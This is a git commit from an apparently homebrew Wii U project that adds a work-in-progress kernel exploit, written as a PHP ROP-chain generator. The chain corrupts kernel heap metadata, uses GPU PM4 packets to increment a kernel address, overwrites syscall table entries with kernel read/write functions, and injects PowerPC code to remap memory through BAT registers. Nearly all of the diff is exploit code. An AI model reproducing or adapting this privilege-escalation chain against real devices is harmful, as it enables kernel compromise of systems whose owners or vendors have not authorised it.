- Use wiiuhaxx_common for creating a ROP

- Add WIP kernel exploit ROP
This commit is contained in:
orboditilt 2019-01-23 21:31:59 +01:00
parent 702d638426
commit e3ef554d6d
6 changed files with 200 additions and 80 deletions

1
.gitignore vendored
View File

@ -1 +1,2 @@
*.swp
wiiuhaxx_common/

View File

@ -9,6 +9,8 @@ Required:
* Python 3.6 or greater in path as python3 (Edit Makefile for other configs)
* make
* php
* A copy of the [wiiuhaxx_common release files (>=0.3](https://github.com/wiiu-env/wiiuhaxx_common/releases) inside a folder `wiiuhaxx_common.`
```
git clone --recurse-submodules https://github.com/jam1garner/ROBChain.git && \

View File

@ -1,14 +1,26 @@
wiiuhaxx_common_path := ../wiiuhaxx_common/wiiu_browserhax_common.php
wiiuhaxx_common_cfg := wiiuhaxx_common_cfg.php
pymsc_asm_py := ../pymsc/asm.py
all: clean exploit.mscsb
clean:
rm -f exploit.mscsb payload.s main.s
exploit.mscsb: payload.s Scripts main.s
python3 ../pymsc/asm.py
exploit.mscsb: $(pymsc_asm_py) payload.s Scripts main.s
python ../pymsc/asm.py
payload.s: payload.bin
python3 generate_payload.py
payload.s: payload.bin
python generate_payload.py
main.s: rop_setup.s
python3 generate_rop.py
main.s: rop_setup.s $(wiiuhaxx_common_cfg) $(wiiuhaxx_common_path)
php generatepayload.php > main.s
$(pymsc_asm_py):
if [ -a $(pymsc_asm_py) ]; then $(error missing $(pymsc_asm_py) (git clone recursive)); fi;
$(wiiuhaxx_common_path):
if [ -a $(wiiuhaxx_common_path) ]; then $(error missing $(wiiuhaxx_common_path)); fi;
$(wiiuhaxx_common_cfg):
if [ -a $(wiiuhaxx_common_cfg) ]; then $(error missing $(wiiuhaxx_common_cfg)); fi;

View File

@ -1,74 +0,0 @@
# Addresses
LOAD_R3_ADDR = 0x0C00C650
OSFATAL_ADDR = 0x01031618
def write32(u32):
global script
script += f"pushInt. {hex(u32)}\n"
def writePayloadAddress():
global script
script += "pushVar. globalVar,mscScriptAddress\n"
def writeEnd():
global script
script += "#Execute ROP chain\nexit\n\n#Dunno why but I figured I might as well put it here, should never hit this though\nend"
"""
Example payload (writeOSFatalPayload func)
pushInt. 0xC00C650
pushVar. globalVar,mscScriptAddress #r3 value (will be printed by OSFatal)
pushInt. 0xBEEF0001
pushInt. 0xBEEF0002
pushInt. 0xBEEF0003
pushInt. 0xBEEF0004
pushInt. 0xBEEF0005
pushInt. 0xBEEF0006
pushInt. 0xBEEF0007
pushInt. 0xBEEF0008
pushInt. 0xBEEF0009
pushInt. 0xBEEF000A
pushInt. 0xBEEF000B
pushInt. 0xBEEF000C
pushInt. 0xBEEF000D
pushInt. 0xBEEF000E
pushInt. 0xBEEF000F
pushInt. 0xBEEF0010
pushInt. 0xBEEF0011
pushInt. 0xBEEF0012
pushInt. 0xBEEF0013
pushInt. 0xBEEF0014
pushInt. 0xBEEF0015
pushInt. 0xBEEF0016
pushInt. 0xBEEF0017
pushInt. 0xBEEF0018
pushInt. 0xBEEF0019
pushInt. 0xBEEF001A
pushInt. 0x01031618 #return address (OSFatal)
"""
# Print out contents of payload as null terminated string
def writeOSFatalPayload():
write32(LOAD_R3_ADDR)
writePayloadAddress()
for i in range(0x1A):
write32(0xBEEF0000 + i + 1)
write32(OSFATAL_ADDR)
writeEnd()
def main():
global script
with open('rop_setup.s', 'r') as f:
script = f.read()
writeOSFatalPayload()
with open("main.s", 'w') as f:
f.write(script)
if __name__ == "__main__":
main()

View File

@ -0,0 +1,174 @@
<?php
function hexentities($str) {
$return = '';
for($i = 0; $i < strlen($str); $i += 4) {
$return .= 'pushInt. 0x'.bin2hex(substr($str, $i, 4)). "\n";
}
return $return;
}
// Settings
$_REQUEST['sysver'] = '550'; // Currently hardcoded.
$generatebinrop = 1; // Make sure the $ROPCHAIN will be in binary.
// Type 4 params
$payload_tmp_address = 0x10C51000;
$ROPHEAP = $payload_tmp_address - 0x1000; //+ is a BAD idea as is may override our payload
$ropchainselect = 99; // Own ROPChain.
require_once("../wiiuhaxx_common/wiiu_browserhax_common.php");
echo file_get_contents('rop_setup.s');
//Untested
function generateROPChain(){
$drvhax_addr = 0x105F31A4; // Some free space in memmory size: 0x4C
$KERN_SYSCALL_TBL_1 = 0xFFE84C70;
$KERN_SYSCALL_TBL_2 = 0xFFE85070;
$KERN_SYSCALL_TBL_3 = 0xFFE85470;
$KERN_SYSCALL_TBL_4 = 0xFFEAAA60;
$KERN_SYSCALL_TBL_5 = 0xFFEAAE60;
$metadata_addr = 0x1F200014; // Create kernel heap block. We manipulate the kernel heap to use THIS
// Set the kernel heap metadata entry
ropgen_writeword_tomem($drvhax_addr, $metadata_addr);
ropgen_writeword_tomem(0xFFFFFFB4, $metadata_addr +4);
ropgen_writeword_tomem(0xFFFFFFFF, $metadata_addr +8);
ropgen_writeword_tomem(0xFFFFFFFF, $metadata_addr +12);
//Build PM4 packet.
$pm4_addr = 0x10C51000;
ropgen_writeword_tomem(0xC0013900, $pm4_addr); $pm4_addr += 4; //PACKET3_MEM_SEMAPHORE
ropgen_writeword_tomem(0x1B800008, $pm4_addr); $pm4_addr += 4; //ADDR_LO = target
ropgen_writeword_tomem(0xC0000000, $pm4_addr); $pm4_addr += 4; //SEL semaphore signal
ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
ropgen_writeword_tomem(0x80000000, $pm4_addr); $pm4_addr += 4; //nop
ropgen_DCFlushRange($pm4_addr, 0x20);
// Need to be called from the right core (we gx2 init was called, core1?)
ropgen_GX2DirectCallDisplayList($pm4_addr, 8 * 0x04); // increment value of kpaddr by 0x01000000
ropgen_GX2DirectCallDisplayList($pm4_addr, 8 * 0x04); // increment value of kpaddr by 0x01000000
ropgen_GX2Flush();
ropgen_display_u32(0);
$drvname_addr = 0x105DC1D8;
// create a string "drvhax" in memoyr
ropgen_writeword_tomem(0x44525648 , $drvname_addr);
ropgen_writeword_tomem(0x41580000, $drvname_addr +4);
//register it
ropgen_Register($drvname_addr, 6, 0, 0);
// create src buffer
$syscalls_addr = 0x105DC1E0;
ropgen_writeword_tomem(0xFFF023D4 , $syscalls_addr); // KERN_CODE_READ
ropgen_writeword_tomem(0xFFF023F4 , $syscalls_addr + 0x4); // KERN_CODE_WRITE
// Copy content of syscalls_addr to syscall tables
ropgen_writeword_tomem($KERN_SYSCALL_TBL_1 + (0x34 * 4),$drvhax_addr + 0x44);
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
ropgen_writeword_tomem($KERN_SYSCALL_TBL_2 + (0x34 * 4),$drvhax_addr + 0x44);
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
ropgen_writeword_tomem($KERN_SYSCALL_TBL_3 + (0x34 * 4),$drvhax_addr + 0x44);
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
ropgen_writeword_tomem($KERN_SYSCALL_TBL_4 + (0x34 * 4),$drvhax_addr + 0x44);
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
ropgen_writeword_tomem($KERN_SYSCALL_TBL_5 + (0x34 * 4),$drvhax_addr + 0x44);
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 8);
// Place a function to set the IBAT0 inside free kernel space.
$setIBAT0Addr = 0xFFF02344;
$curAddr = $setIBAT0Addr;
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
ropgen_writeword_tomem(0x7C0006AC,$syscalls_addr);
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
$curAddr +=4;
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
ropgen_writeword_tomem(0x4C00012C,$syscalls_addr);
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
$curAddr +=4;
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
ropgen_writeword_tomem(0x7C7083A6,$syscalls_addr);
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
$curAddr +=4;
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
ropgen_writeword_tomem(0x7C9183A6,$syscalls_addr);
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
$curAddr +=4;
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
ropgen_writeword_tomem(0x7C0006AC,$syscalls_addr);
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
$curAddr +=4;
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
ropgen_writeword_tomem(0x4C00012C,$syscalls_addr);
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
$curAddr +=4;
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
ropgen_writeword_tomem(0x4E800020,$syscalls_addr);
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
$curAddr +=4;
//Save address in src buffer
ropgen_writeword_tomem($setIBAT0Addr,$syscalls_addr);
// setup syscall table, register it as syscall 0x7A. needs to be restored later
ropgen_writeword_tomem($KERN_SYSCALL_TBL_2 + (0x7A * 4),$drvhax_addr + 0x44);
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr, 4);
$ROP_callSC0x7A = 0x01022388; // Set exception callback. Calls syscall 0x7A
// Rop for calling syscall, set IBAT0
// We need to give the access to our memory.
// VA: 01000000..01800000 PA: 32000000..32800000 with r/w for user and supervisor
ropgen_callfunc($ROP_callSC0x7A, 0x010000FF, 0x32000012, 0x0, 0x0, 0x0);
// Setup DBAT
//reuse ibat code, but exchange the ibat to dbat commands
$curAddr = $setIBAT0Addr + 8;
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
ropgen_writeword_tomem(0x7C7983A6,$syscalls_addr); //mtdbatl,3,5
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
$curAddr +=4;
ropgen_writeword_tomem($curAddr,$drvhax_addr + 0x44);
ropgen_writeword_tomem(0x7C7883A6,$syscalls_addr); //mtdbath,3,5
ropgen_CopyToSaveArea($drvname_addr, 6, $syscalls_addr,4);
// set dbat
ropgen_callfunc($ROP_callSC0x7A, 0x010000FF, 0x32000012, 0x0, 0x0, 0x0);
// print value to see if everything worked so far.
ropgen_display_u32(0);
// Copy a payload to 0x011DD000, call it!
// Tasks in payload:
// - install kernel copy data
// - restore syscall 0x7A
// - restore kernel heap when we have proper code execution.
// - (install main hook and switch to miimaker)
}
generateROPChain();
echo hexentities($ROPCHAIN);
?>

View File

@ -0,0 +1,5 @@
<?php
$wiiuhaxxcfg_payloadfilepath = "payload.bin";
?>